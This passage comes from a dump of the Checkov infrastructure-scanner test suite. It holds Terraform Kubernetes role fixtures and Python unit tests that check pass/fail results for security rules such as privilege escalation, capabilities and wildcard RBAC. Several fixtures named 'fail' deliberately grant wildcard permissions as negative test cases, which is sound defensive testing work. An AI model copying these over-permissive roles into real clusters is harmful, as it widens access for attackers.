    "content": "resource \"kubernetes_cluster_role\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  rule {\n    api_groups = [\"\"]\n    resources  = [\"namespaces\", \"pods\"]\n    verbs      = [\"get\", \"list\", \"watch\"]\n  }\n  rule {\n          api_groups = [\"*\"]\n    resources  = [\"namespaces\", \"pods\"]\n    verbs      = [\"get\", \"list\", \"watch\"]\n  }\n}\n\nresource \"kubernetes_cluster_role_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  rule {\n    api_groups = [\"\"]\n    resources  = [\"namespaces\", \"pods\"]\n    verbs      = [\"get\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"*\"]\n    resources  = [\"namespaces\", \"pods\"]\n    verbs      = [\"get\", \"list\", \"watch\"]\n  }\n}\n\nresource \"kubernetes_cluster_role\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  rule {\n    api_groups = [\"\"]\n    resources  = [\"namespaces\", \"pods\"]\n    verbs      = [\"get\", \"list\", \"watch\"]\n  }\n\n}\n\nresource \"kubernetes_cluster_role_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n  }\n\n  rule {\n    api_groups = [\"\"]\n    resources  = [\"namespaces\", \"pods\"]\n    verbs      = [\"get\", \"list\", \"watch\"]\n  }\n\n}\n\nresource \"kubernetes_role\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n    api_groups     = [\"*\"]\n    resources      = [\"pods\"]\n    resource_names = [\"foo\"]\n    verbs          = [\"get\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"apps\"]\n    resources  = [\"deployments\"]\n    verbs      = [\"get\", \"list\"]\n  }\n}\n\nresource \"kubernetes_role_v1\" \"fail\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n    api_groups     = [\"*\"]\n    resources      = [\"pods\"]\n    resource_names = [\"foo\"]\n    verbs          = [\"get\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"apps\"]\n    resources  = [\"deployments\"]\n    verbs      = [\"get\", \"list\"]\n  }\n}\n\nresource \"kubernetes_role\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n    api_groups     = [\"\"]\n    resources      = [\"pods\"]\n    resource_names = [\"foo\"]\n    verbs          = [\"*\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"apps\"]\n    resources  = [\"deployments\"]\n    verbs      = [\"get\", \"list\"]\n  }\n}\n\nresource \"kubernetes_role_v1\" \"fail2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n    api_groups     = [\"\"]\n    resources      = [\"pods\"]\n    resource_names = [\"foo\"]\n    verbs          = [\"*\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"apps\"]\n    resources  = [\"deployments\"]\n    verbs      = [\"get\", \"list\"]\n  }\n}\n\nresource \"kubernetes_role\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n    api_groups     = [\"\"]\n    resources      = [\"*\"]\n    resource_names = [\"foo\"]\n    verbs          = [\"get\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"apps\"]\n    resources  = [\"deployments\"]\n    verbs      = [\"get\", \"list\"]\n  }\n}\n\nresource \"kubernetes_role_v1\" \"fail3\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n    api_groups     = [\"\"]\n    resources      = [\"*\"]\n    resource_names = [\"foo\"]\n    verbs          = [\"get\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"apps\"]\n    resources  = [\"deployments\"]\n    verbs      = [\"get\", \"list\"]\n  }\n}\n\nresource \"kubernetes_role\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n    api_groups     = [\"\"]\n    resources      = [\"pods\"]\n    resource_names = [\"foo\"]\n    verbs          = [\"get\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"apps\"]\n    resources  = [\"deployments\"]\n    verbs      = [\"get\", \"list\"]\n  }\n}\n\nresource \"kubernetes_role_v1\" \"pass\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n    api_groups     = [\"\"]\n    resources      = [\"pods\"]\n    resource_names = [\"foo\"]\n    verbs          = [\"get\", \"list\", \"watch\"]\n  }\n  rule {\n    api_groups = [\"apps\"]\n    resources  = [\"deployments\"]\n    verbs      = [\"get\", \"list\"]\n  }\n}\n\nresource \"kubernetes_role\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n\n  }\n}\n\nresource \"kubernetes_role_v1\" \"pass2\" {\n  metadata {\n    name = \"terraform-example\"\n    labels = {\n      test = \"MyRole\"\n    }\n  }\n\n  rule {\n\n  }\n}\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_AllowPrivilegeEscalation.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.AllowPrivilegeEscalation import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAllowPrivilegeEscalation(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AllowPrivilegeEscalation\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_AllowPrivilegeEscalationPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.AllowPrivilegeEscalationPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAllowPrivilegeEscalationPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AllowPrivilegeEscalationPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n            \"kubernetes_pod_security_policy.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_AllowedCapabilities.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.AllowedCapabilities import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAllowedCapabilities(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AllowedCapabilities\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        resource_conf = {'spec': [{'template': [{'spec': [{'container': [{'security_context': [{'capabilities': [[]]}]}]}]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        assert scan_result == CheckResult.PASSED\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_AllowedCapabilitiesPSP.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.AllowedCapabilitiesPSP import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAllowedCapabilitiesPSP(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AllowedCapabilitiesPSP\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod_security_policy.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod_security_policy.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_AllowedCapabilitiesSysAdmin.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.AllowedCapabilitiesSysAdmin import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestAllowedCapabilitiesSysAdmin(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_AllowedCapabilitiesSysAdmin\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod.pass2\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_pod_v1.pass2\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment.pass2\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        resource_conf = {'spec': [{'template': [{'spec': [{'container': [{'security_context': [{'capabilities': [[]]}]}]}]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        assert scan_result == CheckResult.PASSED\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_CPULimits.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.CPULimits import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCPULimits(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CPULimits\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod.fail3\",\n            \"kubernetes_pod.fail4\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_pod_v1.fail3\",\n            \"kubernetes_pod_v1.fail4\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment.fail3\",\n            \"kubernetes_deployment.fail4\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n            \"kubernetes_deployment_v1.fail3\",\n            \"kubernetes_deployment_v1.fail4\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 8 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_CPURequests.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.CPURequests import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestCPURequests(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_CPURequests\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod.fail3\",\n            \"kubernetes_pod.fail4\",\n            \"kubernetes_pod.fail5\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_pod_v1.fail3\",\n            \"kubernetes_pod_v1.fail4\",\n            \"kubernetes_pod_v1.fail5\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment.fail2\",\n            \"kubernetes_deployment.fail3\",\n            \"kubernetes_deployment.fail4\",\n            \"kubernetes_deployment.fail5\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_deployment_v1.fail2\",\n            \"kubernetes_deployment_v1.fail3\",\n            \"kubernetes_deployment_v1.fail4\",\n            \"kubernetes_deployment_v1.fail5\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 18 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_ContainerSecurityContext.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.ContainerSecurityContext import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestContainerSecurityContext(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_ContainerSecurityContext\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_DangerousGitSync.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.DangerousGitSync import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDangerousGitSync(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DangerousGitSync\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 4)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_DefaultNamespace.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.DefaultNamespace import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDefaultNamespace(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DefaultNamespace\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_daemonset.pass\",\n            \"kubernetes_stateful_set.pass\",\n            \"kubernetes_replication_controller.pass\",\n            \"kubernetes_job.pass\",\n            \"kubernetes_cron_job.pass\",\n            \"kubernetes_service.pass\",\n            \"kubernetes_secret.pass\",\n            \"kubernetes_service_account.pass\",\n            \"kubernetes_role_binding.pass\",\n            \"kubernetes_config_map.pass\",\n            \"kubernetes_ingress.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_daemon_set_v1.pass\",\n            \"kubernetes_stateful_set_v1.pass\",\n            \"kubernetes_replication_controller_v1.pass\",\n            \"kubernetes_job_v1.pass\",\n            \"kubernetes_cron_job_v1.pass\",\n            \"kubernetes_service_v1.pass\",\n            \"kubernetes_secret_v1.pass\",\n            \"kubernetes_service_account_v1.pass\",\n            \"kubernetes_role_binding_v1.pass\",\n            \"kubernetes_config_map_v1.pass\",\n            \"kubernetes_ingress_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_daemonset.fail\",\n            \"kubernetes_stateful_set.fail\",\n            \"kubernetes_replication_controller.fail\",\n            \"kubernetes_job.fail\",\n            \"kubernetes_cron_job.fail\",\n            \"kubernetes_service.fail\",\n            \"kubernetes_secret.fail\",\n            \"kubernetes_service_account.fail\",\n            \"kubernetes_role_binding.fail\",\n            \"kubernetes_config_map.fail\",\n            \"kubernetes_ingress.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_pod_v1.fail2\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_daemon_set_v1.fail\",\n            \"kubernetes_stateful_set_v1.fail\",\n            \"kubernetes_replication_controller_v1.fail\",\n            \"kubernetes_job_v1.fail\",\n            \"kubernetes_cron_job_v1.fail\",\n            \"kubernetes_service_v1.fail\",\n            \"kubernetes_secret_v1.fail\",\n            \"kubernetes_service_account_v1.fail\",\n            \"kubernetes_role_binding_v1.fail\",\n            \"kubernetes_config_map_v1.fail\",\n            \"kubernetes_ingress_v1.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 13 * 2)\n        self.assertEqual(summary[\"failed\"], 14 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_DefaultServiceAccount.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.DefaultServiceAccount import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDefaultServiceAccount(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DefaultServiceAccount\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_service_account.pass\",\n            \"kubernetes_service_account.pass2\",\n            \"kubernetes_service_account_v1.pass\",\n            \"kubernetes_service_account_v1.pass2\",\n        }\n\n        failing_resources = {\n            \"kubernetes_service_account.fail\",\n            \"kubernetes_service_account.fail2\",\n            \"kubernetes_service_account_v1.fail\",\n            \"kubernetes_service_account_v1.fail2\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_DefaultServiceAccountBinding.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.DefaultServiceAccountBinding import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDefaultServiceAccountBinding(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DefaultServiceAccountBinding\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_cluster_role_binding.pass\",\n            \"kubernetes_role_binding.pass\",\n            \"kubernetes_cluster_role_binding_v1.pass\",\n            \"kubernetes_role_binding_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_cluster_role_binding.fail\",\n            \"kubernetes_role_binding.fail\",\n            \"kubernetes_cluster_role_binding_v1.fail\",\n            \"kubernetes_role_binding_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 2 * 2)\n        self.assertEqual(summary[\"failed\"], 2 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_DockerSocketVolume.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.DockerSocketVolume import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDockerSocketVolume(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DockerSocketVolume\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_daemonset.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment_v1.pass\",\n            \"kubernetes_daemon_set_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_deployment.fail\",\n            \"kubernetes_daemonset.fail\",\n            \"kubernetes_pod_v1.fail\",\n            \"kubernetes_deployment_v1.fail\",\n            \"kubernetes_daemon_set_v1.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3 * 2)\n        self.assertEqual(summary[\"failed\"], 3 * 2)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n    def test_terraform_plan(self):\n        resource_conf = {'id': ['my_id'], 'metadata': [], 'spec': [{'template': [{'metadata': [], 'spec': [{'volume': [[]]}]}]}]}\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        assert scan_result == CheckResult.PASSED\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/kubernetes/test_DropCapabilities.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.kubernetes.DropCapabilities import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestDropCapabilities(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_DropCapabilities\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"kubernetes_pod.pass\",\n            \"kubernetes_pod_v1.pass\",\n            \"kubernetes_deployment.pass\",\n            \"kubernetes_deployment_v1.pass\",\n        }\n\n        failing_resources = {\n            \"kubernetes_pod.fail\",\n            \"kubernetes_pod.fail2\",\n            \"kubernetes_pod.fail3\",\n            \"kubernetes_pod.fail4\",\n            \"kubernetes_pod.fail5\",\n            